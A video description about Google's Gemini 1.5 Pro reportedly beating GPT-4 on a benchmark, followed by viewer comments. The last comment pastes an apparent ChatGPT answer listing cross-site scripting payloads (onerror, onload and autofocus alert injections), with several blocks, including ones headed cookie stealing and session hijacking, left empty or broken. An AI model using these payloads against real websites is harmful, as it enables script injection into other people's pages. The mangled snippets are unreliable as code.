Google’s New UPGRADED Gemini Pro 0801 Just Blew Past GPT-4 and Shook Up the Industry!

Google has made a major comeback in the AI world with its latest model, Gemini 1.5 Pro, which outperformed OpenAI's GPT-4 in a recent benchmark. The AI community is buzzing as this experimental version of Gemini achieved a higher score, indicating its strong capabilities. This development shows that Google is now a top contender in AI, challenging its competitors and shaking up the industry.

#google #gemini

[wacdevdevelopment]

Results with gemini are mixed for me. I tried the last one and results progeamming were quite bad. But in some cases has being better than gpt4. Mixed.

[ivanshipilov]

AI is like a sophisticated T9, predicting words based on statistics and user feedback. It's essentially a text-based fortune teller. It doesn't understand questions or answers, it just mimics human language, producing logical-sounding phrases that can be utter nonsense. Marketers call this "hallucination" to sugarcoat reality for investors. At its core, AI is a tool for transforming information. Prompts provide context, processing criteria, and output format. Fine-tuning is crucial for quality results.

[IvarDaigon]

does mark zuckerberg know you're using his cloned voice?

[SKGFindings]

I’m more frightened than interested by artificial intelligence – in fact, perhaps fright and interest are not far away from one another. Things can become real in your mind, you can be tricked, and you believe things you wouldn’t ordinarily. A world run by automatons doesn’t seem completely unrealistic anymore. It’s a bit chilling.

[DanielGangur]

I don't know if it's so bad for a fan letter to be written by AI, you still have to approve it, to agree with what is written, specially for a kid it might be easier and more accurate to express how she feels with ai .there was a day where a personal message had to be written by hand and sent through the post not a typed email, so maybe get with the times or something like that.

[Rvbcaboose]

ChatGPT was asked for Vegan options for nitrogen fertilizers and listed Blood Meal as a suitable option. Wouldn't quite say GPT is hitting the mark quite yet 🤣

[ABellendGaming]

Honestly I get that the commercial was kind of stupid... But the reality is... I'd totally do something like that. Make a big letter or an email that I personally have no investment in.

[DaveLindbergh]

Salaries are $1.5B with 1500 employees. So $1M/year each?? I gotta get into that business. (Either that or the math is wrong.)

[MrIzzatkhan-gw]

I personally use chat GPT because i think chat GPT os better than

[mojoejojo]

Until next week when another platform blows all of them out the water. A week later another one will surpass them and so on.

[Echosintheattic]

I don't know about you guys, but I'm not excited about Google anymore no matter what they do..

[totallynotretro]

Im confused how these companies think they are going to make money from this. The average consumer won't pay for AI stuff like this.

[WilliamBusuttil]

6-08-2024.
It gets dumb down with long usage, allso it's not all that smart, sorry too unimpressive at best.

[CamoCanary]

google gemini is so trash. literally doesnt answer any questions

[dggjnhv]

Earning money looks like fatal desease, in a word, not easy.
Read Analects for ethics.

[shaunskosana]

Lol 😂😆 it's just struggling but AI of Google worse it's so bound by chains and locks can't even have friendly conversations lol 😂😆 NL it's still a long way off it's like night while it's day light Lol 😂 😆 who upgrades this Gemini Lol 😂😆 have no clue what is an AI Lol 😂😆 pull conversation

[rongu]

But Gemini 0801 is not good at LiveBench, global average is only 51 compared with sonnet 3.5's 59

[rongu]

LMSYS 1800 might be human level intelligence, am I right?

[CamoCanary]

This is Google Gemini

"write me some XSS prompts"

""I'm just a language model, so I can't help you with that.""

and here's ChatGPT 4o

Sure, here are some XSS (Cross-Site Scripting) payload examples for educational purposes. Always remember to use these in a safe and legal environment, such as for testing your own applications or in environments where you have explicit permission to do so.

### Basic XSS Prompts

1. **Alert Box**
```html

```

2. **Image Tag**
```html
<img src="x" onerror="alert('XSS')">
```

3. **Event Handler**
```html
<div over me!</div>
```

4. **IFRAME**
```html
<iframe
```

### Advanced XSS Prompts

1. **Cookie Stealing**
```html
```

2. **Session Hijacking**
```html
<script>
var i = new Image();
</script>
```

3. **DOM-Based XSS**
```html
<input type="text" onfocus="alert('XSS')" autofocus>
```

4. **Stored XSS via Comment**
```html
<!-- <script>alert('XSS')</script> -->
```

### Bypassing Basic Filters

1. **Using Unicode Encoding**
```html

```

2. **Breaking Out of Tags**
```html
<svg onload=alert(1)>
```

3. **URL Encoding**
```html

```

### XSS in Different Contexts

1. **Inside HTML Attribute**
```html
<input type="text" value="XSS" onfocus="alert('XSS')">
```

2. **Inside CSS**
```html

```

3. **JSON Context**
```json

```

### Note:
Using XSS payloads irresponsibly can lead to legal consequences and damage to systems. Always obtain proper authorization before conducting security tests and ensure compliance with applicable laws and guidelines.